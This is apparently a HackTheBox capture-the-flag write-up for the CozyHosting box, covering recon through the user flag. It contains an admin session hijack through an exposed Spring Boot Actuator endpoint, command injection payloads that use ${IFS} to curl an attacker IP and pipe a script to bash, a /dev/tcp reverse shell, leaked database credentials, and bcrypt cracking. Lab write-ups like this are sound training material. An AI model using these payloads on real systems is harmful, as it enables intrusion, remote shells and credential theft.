Post

CozyHosting

An exposed Spring Boot Actuator endpoint leaks a live admin session ID for instant dashboard access, an unsanitised username field in a patching form yields command injection (bypassing a whitespace filter with ${IFS}), and hardcoded PostgreSQL credentials inside the application JAR give up a bcrypt hash that cracks to a password reused by a local user for SSH.

CozyHosting

Overview

CozyHosting is an easy-difficulty Linux box built around a Java Spring Boot application. The Actuator management module is exposed, and its /actuator/sessions endpoint leaks the session ID of a logged-in admin — letting us hijack the session and reach the admin dashboard. From there, a patching form is vulnerable to command injection, giving a shell as the app service account. The packaged JAR contains hardcoded PostgreSQL credentials; the database holds a bcrypt hash that cracks to a password reused by the local user josh, who we then SSH in as for the user flag. This post covers recon through user.txt.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

Enumeration-driven Spring Boot box: Actuator session hijack, IFS-bypass command injection, JAR-leaked DB creds and a cracked bcrypt reused for SSH — realistic web misconfigs, no real CVE.

Recon

PortServiceNotes
22/tcpOpenSSH 8.9p1Ubuntu, default
80/tcpnginx 1.18.0redirects to cozyhosting.htb
1
2
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.230 | grep '^[0-9]' | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -Pn -sC -sV 10.10.11.230

Port 80 does not follow a redirect to http://cozyhosting.htb, so add the vhost to /etc/hosts:

1
echo "10.10.11.230  cozyhosting.htb" | sudo tee -a /etc/hosts

Browsing to the domain shows a hosting-company marketing site with a /login page.

Enumeration

A directory fuzz turns up a handful of routes:

1
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FFUZ -u http://cozyhosting.htb/FFUZ -ic -t 100

This finds index, login, admin, logout, and error. Browsing to /error returns a Whitelabel Error Page — the tell-tale sign of a Spring Boot application. Re-running the fuzz with a Spring Boot wordlist exposes the Actuator endpoints:

1
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/spring-boot.txt:FFUZ -u http://cozyhosting.htb/FFUZ -ic -t 100

Among the results are actuator/health, actuator/env, actuator/mappings, actuator/beans, and — most interestingly — actuator/sessions. The Actuator module is meant for debugging and should never be publicly reachable.

Foothold

Session hijacking via Actuator. The /actuator/sessions endpoint lists every active session ID mapped to its username:

1
curl -s http://cozyhosting.htb/actuator/sessions

This returns a JSESSIONID bound to the user kanderson. A session ID is a bearer token — possessing it is being that user. Setting the leaked JSESSIONID as a cookie (via the browser dev-tools Storage tab) and loading /admin drops us into the dashboard authenticated as K. Anderson.

Command injection in the patching form. The dashboard has an “include host into automatic patching” form taking a hostname and username. Submitting 127.0.0.1 / test returns “Host key verification failed” — the backend is running something like ssh -i id_rsa <username>@<hostname>. The hostname is strictly validated, but the username field is not.

The field rejects whitespace, so we use ${IFS} (the shell’s Internal Field Separator, defaulting to a space) to rebuild a command. First confirm the injection with a callback to a local server:

1
python3 -m http.server 7000

Submit this in the username field:

1
test;curl${IFS}http://10.10.14.49:7000;

A GET request lands on our server — injection confirmed. Now stage a reverse shell:

1
2
echo -e '#!/bin/bash\nsh -i >& /dev/tcp/10.10.14.49/4444 0>&1' > rev.sh
nc -lnvp 4444

Then submit the weaponised payload:

1
test;curl${IFS}http://10.10.14.49:7000/rev.sh|bash;

A shell as app (uid=1001) connects back. Stabilise it:

1
script /dev/null -c bash

Hardcoded DB credentials in the JAR. The shell lands in /app, which contains cloudhosting-0.0.1.jar. A JAR is just a ZIP, so extract it and read the Spring Boot config:

1
2
unzip -d /tmp/app cloudhosting-0.0.1.jar
cat /tmp/app/BOOT-INF/classes/application.properties

The file discloses PostgreSQL credentials postgres:Vg&nvzAQ7XxR. Connect and dump the users table:

1
psql -h 127.0.0.1 -U postgres
1
2
3
\connect cozyhosting
\dt
select * from users;

This yields a bcrypt hash for admin. Identify and crack it:

1
hashcat hash_file -m 3200 /usr/share/wordlists/rockyou.txt

The hash cracks to manchesterunited. Checking /etc/passwd shows a local user josh with a login shell — and the cracked password was reused:

User flag

1
2
cat /home/josh/user.txt
# [redacted]

A shell as josh and the user flag are ours.

Privilege escalation (sudo ssh abuse) is left as an exercise — this post stops at user.

This post is licensed under CC BY 4.0 by the author.